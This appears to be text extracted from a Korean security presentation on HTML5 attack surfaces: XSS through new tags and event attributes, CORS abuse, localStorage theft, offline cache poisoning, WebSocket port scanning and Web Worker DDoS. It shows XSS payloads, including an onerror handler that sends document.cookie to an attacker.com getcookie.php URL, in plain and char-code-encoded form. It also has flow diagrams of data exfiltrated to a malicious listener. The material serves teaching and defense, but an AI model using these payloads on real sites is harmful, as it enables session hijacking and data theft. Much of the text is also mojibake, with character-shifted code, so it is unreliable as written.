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HTML5 Overview 

×֥  HTML v4.01 ὗ  ʊ  בּ  Ɫḓ  ֥Ὼ ּ֥ו 

×2004ᵹ WHATWG  ♄  ṍ ᾞ (2013ᵹ 4 ) W3C  
Ӥṅ Ἓ   ә  

×² Ử ,  Ṵ    ʊ  ὣ Ɑ Ԃ ³  Ἓ 
ῡἛ HTML5 ὗ ֥Ὼ Ἓ Ṏ ὣ Ɑ  ⃰Ớ ҍ  ʊ

ᾧṭ ♄  ҍᶾ  

×ᾤⱢ  Ὦ  ₐₒ  ҟ♠ ṍ Ὥ  ὣ Ɑ   ᶷḫ  
Ἓ Ἄ  ₐₒṯ   (ex. Ṷ  ԑ Өὣ ῄ ) 
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HTML5 Overview 

<iframe  qpa;²_lwbmk_gl?.com [ ]̈  <iframe  qpa;²slrpsqrcb]bmk_gl.com [ ]̈  
 Iframe  Sandboxing  

<iframe  qpa;²_lwbmk_gl@.com [ ]̈  

Web Messaging  

Geolocation API  Offline Web Application  Web Worker  Web Storage  

 
Offline  ẋ  
▐  ḫ  

Ớ   
ṏ ḫ  

ῶ Ὠ   
ἄṫ 

Web Socket API Custom scheme and content handlers  Cross-Origin Resource Sharing  

anydomainD.com  anydomainC.com  anydomainE.com  
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<video><source onerror;²_jcpr&1'³<:-qmspac<:-tgbcm< 
<audio><source onerror;²_jcpr&1'³<:-qmspac<:-_sbgm< 
<select autofocus  onfocus;²_jcpr&1'³< 
<textarea  autofocus  onfocus;²_jcpr&1'³< 
    ̈
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HTML5 Security Issues 

×New Elements and Event Attributes « XSS Code Example 

  

:dmpk gb;²_lw³ -<:`srrml dmpk;²_lw³formaction ;²javascript:alert&/'³<?LW 
    ̈

 ²:qapgnr<³* ²:img<³  
  ֚   

 ֗   °ml\ u);± 
 •  ꜚⱠ   

* Mario Fcgbcpgaf±q ²FRKJ3 QcaspgrwCheatsheet³ 8http ://heideri.ch/jso / 

http://heideri.ch/jso/
http://heideri.ch/jso/
http://heideri.ch/jso/
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HTML5 Security Issues 

×New Elements and Event Attributes « Encoding  

<video><source onerror;²lcu
Image(). src;°frrn8--uuu,_rr_aicp,amk-getcookie.php?cookie ;°)doc
ument.cookie ³<:-qmspac<:-tgbcm< 

<video><source 
onerror =eval(String.fromCharCode (110,101,119,32,73,109,97,103,
101,40,41,46,115,114,99,61,39,104,116,116,112,58,47,47,119,11
9,119,46,97,116,116,97,99,107,101,114,46,99,111,109,47,103,10
1,116,99,111,111,107,105,101,46,112,104,112,63,99,111,111,10
7,105,101,61,39,43,100,111,99,117,109,101,110,116,46,99,111,1
11,107,105,101))></source></video>  

Char Code Encoding  
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HTML5 Security Issues 

×New Elements and Event Attributes « ӤӉ ᵁὣ  

Ⱡ Ὠ ҍ ▲ Ṏ ▐  

<video><source 
onerror =eval(String.fromCharCo
de(110,101,119,32,73,109,97,1
03,101,40,41,46,115,114,99,61,
39,104,116,116,112,58,47,47,1
19,119,119,46,97,116,116,97,9
9,107,101,114,46,99,111,109,4
5*/.1*/.¨<:-source></video> 

1 HTML5  ֚ὗ  XSS 

2  Җ Ḇ 

3 
Web Session  
Hijacking  ӤӉ  

◕  ⃰Ớ  
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HTML5 Security Issues 

×New Elements and Event Attributes «  ḓ  ῳ  “ 

ÉHTML5 ֥Ὼ  XSS ṯ  ꜚ Ἓ ә   
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HTML5 Security Issues 

×CORS(Cross-Origin Resource Sharing) « ҟ  ῳ Ṵ  Ӓ 

ÉHTML5 Ṵ    ▐  ʊXHR(Xml Http Request)   
ḁὖ ḻᾕ Ἓ  ῼ◕  ּב  (SOP    ẋῄ) 

ÉSOP(Same Origin Policy)    ♄Ἓ ḁὖ ḻᾕ ♄  
ҍ ḁ ▐  ʊ   ὣ Ɑ ҟῼ  ἑӀ ὭṰ 

ÉServer-Side Proxy ֥ וּ בּ      ʊ  UԂ  
 ә  ▐  ᾌ    
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HTML5 Security Issues 

×CORS(Cross-Origin Resource Sharing ) « SOP 

É , Ӕ  Ἓ , ‗ ҍ   ʊӣ Ἓ  
ῼ◕   ʊ  

Compared  URL Outcome  Reason 

http ://www .DomainA .com/dir/page .html  Success , Ἓ , ҍ ṅ  

http ://www .DomainA .com/dir 2/other .html  Success , Ἓ , ҍ ṅ  

http ://www .DomainA .com:81/dir/other .html  Failure , Ἓ  ṅ  U ҍ ḁὙ 

https ://www .DomainA .com/dir/other .html  Failure ,  ʊҜ  U Ἓ  ḁὙ 

http :// en.DomainA .com/dir/other .thml  Failure Ἓ ,  ʊҜ  U ҍ ḁὙ 

http :// DomainA .com/dir/other .html  Failure Ἓ ,  ʊҜ  U ҍ ḁὙ 

http ://www .DomainA .com:80/dir/other .html  Bml±r sqc ⃰Ớ  ẁỚ ḁὙ 

Origin  : http ://DomainA .com/dir/page .html  
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HTML5 Security Issues 

×CORS(Cross-Origin Resource Sharing ) « COR 

É ҍ ḁὖ ḻᾕ Ἓ ῼ◕ṍ  ʊ  

ÉHTML5  XHR Level2  ҍṎ ּ֥ו  

foo.com  other.com  

1  

2 Ḍ 

3 COR(Cross-Origin  Request) 
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HTML5 Security Issues 

×CORS(Cross-Origin Resource Sharing ) « CORS Example 

www.foo.com  www,other.com  1  

2 Ḍ 

3 COR 

4 COR  ḓ  Ḍ 

COR  ῼ◕   ʊ 
www.foo.com  

www.other.com  ҍ 
www.foo.com  COR Ὥ  
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HTML5 Security Issues 

×CORS(Cross-Origin Resource Sharing ) «  

É֜  ῄ  ʊCOR ῼ◕ ₐὗ ▐ Ӏ ҍ Ώ  ᶷḁ  ʊҹ  

É▐  ⱢⱭ   ֜  Ӕṯ  ῁Ἅ   בּ  
ḫ  ֥ῪⱠ  ꜜ◄  ʊӍӦὗ ҍ  
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HTML5 Security Issues 

×CORS(Cross-Origin Resource Sharing ) « ῼ◕ ҍ  ʒ ᵁὣ  

É  ֜   

Á Ớᵴ ▐     ֜

Éҟ   

ÁἛ֚   ʊ▐  ҟ   

É Ӊ ♄― ӤӉ 

ÁDDoS  
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HTML5 Security Issues 

×CORS(Cross-Origin Resource Sharing) «  ֜   
ᵁὣ   

INTRANET INTERNET 

www.intranet.com  www.malsite.com  

GET / HTTP/1.1 

HTTP/1.1 200 OK  
Access-Control -Allow -Origin : *  

GET / HTTP/1.1 

HTTP/1.1 200 OK  
:qapgnr< VKJFrrnPcoscqr Y¨[ 

XMLHttpRequest  

HTTP/1.1 200 OK  
Access-Control -Allow -Origin: *  

POST /listener.do HTTP/1.1 
(Intranet   ) 



18 

HTML5 Security Issues 

×CORS(Cross-Origin Resource Sharing ) « ҟ   
ᵁὣ   

www.DomainA.com  www.malsite.com  

GET / HTTP/1.1 

HTTP/1.1 200 OK  

<a href ="http ://www.malsite.com Y¨[ 

GET /malpage.html HTTP/1.1  

HTTP/1.1 200 OK  
:qapgnr< VKJFrrnPcoscqr Y¨[ 

GET /person_inform.php  HTTP/1.1 
(XMLHttpRequest ) 

HTTP/1.1 200 OK  

M_gj 8 WW* Nfmlc 8 VV* Y¨[ 

GET /listener.dol  HTTP/1.1 
(▐  ҟ ) 
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HTML5 Security Issues 

×CORS(Cross-Origin Resource Sharing) « ḓ  ῳ   “ 

ÉAccess-Control -Allow -Origin ḝ  Җ  Asterisk(*) ὗ ▐  
ὰә  ʊḻᾕ  ᾤ Ӏ   

ÉӤӉ  ʊOrigin ḝὗ   ῼ◕  ּב  ֥ẋῄ  ḏ 
ḝ Ὥ  ֜  ʊҍ֡    



Contents  Table 

ÁHTML5 Overview  

ÁHTML5 Security Issues 

ÁNew Elements and Attributes  

ÁCORS(Cross-Origin Resource Sharing)  

ÁWeb Storage  

ÁOffline Web Application  

ÁWeb Sockets API 

ÁWeb Worker  

ÁReferences 



21 

HTML5 Security Issues 

×Web Storage « ҟ  ῳ Ṵ   Ӓ 

ÉHTML5 Ṵ    ὣ Ɑ  Ớ   ḫ ὗ 
 ẋ Ἓ ὗ ▐  

É  ʊ▐ (4K per cookie / 20 cookies per domain),  
ḝ   ḫ  ᶂ  ῄ ὗ ә   
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HTML5 Security Issues 

×Web Storage « ⱢⱭ ὣ  & Ἓ  ὣ  

Éḻᾕ Ὣḁ ‴ḻ   ◕ⱠṎḁ  ʊӤ  ҍ  

Éḫ  ‛  ◕ ֥ҏ ♄  ҍ  
ⱢⱭ ὣ  Ἓ  ὣ  

ḻ  Ҡ  ḻ  Ҡ   

ḻ  Ҡ  ḻ  Ҡ   

www.a.com  
  ⱢⱭ ὣ  

www.b.com  
  ⱢⱭ ὣ  

ḻᾕ ‴Ἓ ‴ḻ  Ἓ  ὣ ҍ ḏṍᾞ, 
ḻ ҍ ḆỚḻ ṅ  ḻᾕ  Ӓ  Ӥ  

www.a.com  
  ⱢⱭ ὣ  

ḻᾕ  ḁὔῡἛ ‴ḻ   
ⱢⱭ ὣ ҍ ḏṐ 

ḻ ҍ ḁὔᾠ Ҝ   
ḻᾕ  ֜ ḻ ‴ḻ   
ⱢⱭ ὣ ҍ ḏṐ 

www.a.com  
  ⱢⱭ ὣ  

www.b.com  
  ⱢⱭ ὣ  

ḻᾕ ‴Ἓ ‴ḻ  Ἓ  ὣ ҍ ḏṍᾞ, 
ḻ ҍ ḆỚḻ ṅ  ḻᾕ  Ӓ  Ӥ  
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HTML5 Security Issues 

×Web Storage « Ἓ  ὣ  Example 

context -Ixsn81SqU6E {"data":"{ \ "clickindex \ ":3, \ "items \ ":[{ \ "type \   ̈

yt-player-volume  y tmjskc 8/..* lmlLmpk_jgxcb 8lsjj* ksrcb 8d_jqc{ ¨ 

YouTube  Ӓ  ▐  ◕ᾨἜ, ◕ ᾠ ,֥  
ὐ Ṵ  ♥ ӨἎ ὗ Ἓ  ὣ  ֥Ἔ  



24 

HTML5 Security Issues 

×Web Storage «  (Ἓ  ὣ ) 

É▐ ҍ Ἓ  ὣ  ṍ   ʊḫ  ֜ ₐὗ  
ұ  U   בּ 

É ῶ Ὠ Ὥ  ҍᶾ ᾠ Ἓ  ὣ  ṍ   ʊḫ  
ḓ   ֜ῳ  ҍᶾ  
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HTML5 Security Issues 

×Web Storage « ῼ◕ ҍ  ʒ ᵁὣ  

É  ⱢⱭ  

ÁⱢⱭ Ԃₒ ὗ ҍ  ᷆Ἓ  ὣ  Ө  Ӓ   ҍᶾⱠ   

É▐  ҟ   

Á▐   ῄ ҟ , ,בּ   Ӓ♥  Ṵ  ҍ ᶂ ṏ ּב  
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HTML5 Security Issues 

×Web Storage « ▐  ҟ   ᵁὣ   

www.DomainA.com  www.malsite.com  

GET / HTTP/1.1 

HTTP/1.1 200 OK  
localStorage.setItem&¨' 

GET / HTTP/1.1 

HTTP/1.1 200 OK  
<script> Contents += i)³ 8 ²)localStorage.getItem (i')³\ l³9 

GET /listener.do HTTP/1.1  
(▐  ҟ ) 



27 

HTML5 Security Issues 

×Web Storage « ḓ  ῳ   “ 

ÉⱢⱭ Ԃₒ ὗ  Ө  (HTTPonly Ủ֚ὗ Ҝ  ▐  ) 

ÉἛ  ὣ  ʊҍ֡  ▐  ῨҔ  ṯ  Ө  ὰә 
♄―  Ө ḻἜ Ԃ בּ   
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HTML5 Security Issues 

×Offline Web Application « ҟ  ῳ Ṵ  Ӓ 

É  ὣ Ɑ  ҍ  ὗ ҧ  ұ  U Ἓ  ẋ ὺ‗ 
♄― Ӏ  ᵒ  ʊҹ  ᾌ  ὗ ҍ  

É Ớ  ◄ ♄ḻ ṅ  ҍᶾ   ὣ Ɑ  Ⱡ ḓṔ 
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HTML5 Security Issues 

×Offline Web Application «  

É  ὣ Ɑ  ḓ  ӤӉ ‛ ҍ ♄― ♄ Ớ  ֱ  
 ṍ  

É Ớ    ʊ  ὣ Ɑ  ҍ Ώ   ◄ Ἓ 
 ֜ ұ  U  Ӏ Ṑ בּ 
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HTML5 Security Issues 

×Offline Web Application « ῼ◕ ҍ  ʒ ᵁὣ  

ÉOffline Web Application Cache Poisoning  

Á Ớ  Ṏ Ἓ֚   /″  ῳ ҟ   

Á ḏ  ḁὖ Ἓ Ӎ ʊ⃰Ὡ  בּ     ֥ẋῄ  ҍ  
  ꜙ  ᵁἛ ₒὊṐ 
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HTML5 Security Issues 

×Offline Web Application « Offline Web Application Cache 
Poisoning ᵁὣ    

www.DomainA.com  www.DomainB.com  www.Attacker.com  

U
n

se
cu

re
d

 N
e

tw
o

rk
 

T
ru

s
te

d
 N

e
tw

o
rk

 

www.DomainA.com Ἓ  
GET / HTTP/1.1 

HTTP/1.1 200 OK  www.DomainA.com  +  
<iframe  src;²frrn8--uuu,Bmk_gl@Y,,,[ 

www.DomainB.com Ἓ  

Ṏ CACHE MANIFEST Ḇ 

www .DomainB.com Ἓ  
⃰Ớ  Cache ♄ Ṏ  Ἓṫ 

POST /listener .do HTTP/1.1 
username=XXXX&userpasswd=YYYY 

ῶ Ὠ   

Login Request 

HTTP/1.1 200 OK  
Login Successful 

Malicious 
Access Point 
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HTML5 Security Issues 

×Offline Web Application « ḓ  ῳ   “ 

É Ἓ  ὣ Ɑ ҟῼ  ♄  ḓ   “   

É▐  Ӓ  Ἡ   ʊᵮ ♄  ▐  Ӓ  ⃰Ớ  
ὗ ֥ Ἓ ℮   
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HTML5 Security Issues 

×Web Socket API « ҟ  ῳ Ṵ  Ӓ 

ÉHTTP ʊ  Ἓ  Ⱡ◄ / Ḍ Ӧ  ἰṎ  ᵮ  ⱢⱭ  
ἰṍῡἛ    ♄  ʊᵮ  ⱢⱭ  ḁ  Ⱡ    

É ҏ ,  ᾧ᷄ ὪӦ Ҝ  ♄℮  Ӓ   ҏӉ Ἓ 
ḫ  ꞈ  ҍ  ֥ẋῄ  ᵮ  ⱢⱭ Ⱡ- ἰ Ӧ  Ὼ  
Ὦ  ― ṫὗ ҍ  

É ‗  ᵮ  ⱢⱭ Ⱡ   Full-Duplex  ҍᶾ וּ֥   
Ⱡ  Ӏ Ṑ 

www.websocket.com  

GET / HTTP/1.1 

HTTP/1.1 200 OK  

Upgrade : Web Socket  

HTTP/1.1 101 Web Socket Protocol Handshake  

Full-Duplex TCP-Channel Established 
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HTML5 Security Issues 

×Web Socket API « Web Socket Interface  

[Constructor (in DOMString  url , in optional  DOMString  protocol)]  
interface  WebSocket  { 
  readonly  attribute  DOMString  URL; 
 
  //  ready state 
  const unsigned  short  CONNECTING = 0; 
  const unsigned  short  OPEN = 1; 
  const unsigned  short  CLOSED = 2; 
  readonly  attribute  unsigned  short  readyState; 
  readonly  attribute  unsigned  long  bufferedAmount ; 
 
  //  networking  
           attribute  Function  onopen ; 
           attribute  Function  onmessage; 
           attribute  Function  onclose; 
  boolean  send(in DOMString  data) ; 
  void close(); 
}; 
WebSocket  implements  EventTarget; 



37 

HTML5 Security Issues 

×Web Socket API «  

ÉWeb Socket   Cross-Domain  ῳ Ӎ  ▐ Ӏ ҍ 
Ώ   

 



38 

HTML5 Security Issues 

×Web Socket API « ῼ◕ ҍ  ʒ ᵁὣ  

É Ӊ  ּק  

ÁLavakumar Isnn_l±q Shell Of The Future  

É  ֥Ὼ ⁶ᵴ 

Éᵮ בּ    ῳ   ᷿
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HTML5 Security Issues 

×Web Socket API « Ӊ  ּק ᵁὣ   

ÉShell Of The Future 

 

 : http ://www.andlabs.org/tools/sotf/sotf.html  
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HTML5 Security Issues 

×Web Socket API « ᵮ בּ    ᵁὣ    

INTRANET INTERNET 

www.attacker.com  www.site.com  

GET / HTTP/1.1 

HTTP/1.1 200 OK 
(  ᷿ Ὠ ) 

ῶ Ὠ   

Ớᵴ 
 ᷿

GET / HTTP/1.1 
(ᵒ  aᵮ  ) 



41 

HTML5 Security Issues 

×Web Socket API « Web Socket Interface  

ÉWeb Socket  readyState ꜚⱠ  

ÁCONNECTING(0), OPEN(1), CLOSED(2) Ɫ ҍ  ◄    ᵁὗ ҍ  

ÁWeb Socket   ◕Ⱡṏ ẋ CONNECTING(0) Җ  ҍ  

ÉredeayState ꜚⱠ  ◄  ẁὖ CONNECTING(0) Җ ꜚ ҏ 

 Ӊ  Ὼ   0 Җ ꜚ ҏ 

3-Way H.S  ῶἛ Ӎ  ἰ  ʊӒ  <100 ms (0.1  ῦὭ) 

3-Way H.S  Ḍ    ῶἛ Ӎ  ἰ  ʊӒ  <100 ms (0.1  ῦὭ) 

3-Way H.S  Ӎ   ᾠ♄ ḫ בּ   ֥ḁὣ  ʊӒ  >30000 ms (30  Ӧ) 

3-Way H.S  Ӎ  ᾠ♄ ² ᵡ³  ² ³ ᾕ  Ҝ  

Ḍ  ꞈ  ʊӒ  

<100 ms (FireFox, Safari) 

>30000 ms (Chrome)  

Ӊ   ◄  ῳ Ὢ  ̈͂ 0 Җ ꜚ ҏ 

Ӊ  ҍ Ἄ  ʊӒ  <100 ms (0.1  ῦὭ) 

Ӊ  ҍ ḅ  ʊӒ  ~1000 ms (1 ) 

 Ὢ ṍ  Ӓ  >30000 ms (30  Ӧ) 
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HTML5 Security Issues 

×Web Socket API « ḓ  ῳ   “ 

É♄― ♄  ʊXSS  Ḅ   
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HTML5 Security Issues 

×Web Worker « ҟ  ῳ Ṵ   Ӓ 

É ᶸᵆ   ὣ Ɑ   ֚ ֥ҍ ᾠ♄ ῶ Ὠ  ṫҍ 
 Ӏ ԂⱠṍ  ֥  

É  ⃰Ớ ҍ ῁ұ  ῶ Ὠ  ṫὗ ὣ  ẋ  ʊ²SG№Ἓ ³Ӧ 
Ҝ  ◄  ⅎ‗ Ӏ ῼ◕  

É ᶸᵆ  ⃰Ớ  ʊ ὣ Ɑ  Ử   ә  ֥ẋῄ  
Ỵ  ῄ ṯ  Ὼṫ  Ӎ   ҍ  

ÉHTML5    ʊ ῶ Ὠ  ṫὗ ‴ḻ  ἄṫὗ  
 ֚Ớ ṫἛ  ּב Ӏ  
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HTML5 Security Issues 

×Web Worker «  

ÉWeb Worker  ḓ  Ἓ Ἄ    Uḁὖ 
 ḓ  ӤӉ  ҍꜚ   בּ 
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HTML5 Security Issues 

×Web Worker « ῼ◕ ҍ  ʒ ᵁὣ  

É ῶ Ὠ  Ớ ṫὗ  ּת Ủ  

ÉCORS  Web Worker ὗ  DDoS  
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HTML5 Security Issues 

×Web Worker « DDoS ᵁὣ     

Zombie Browser  

Zombie browser  

Zombie browser  

1 

2 

3 

Ӏ ῇ Ở ῳ ὤ 

ṅ ◄  ◕ ᾠ♄  
   

  
DDoS Ủ  ῼ◕ 


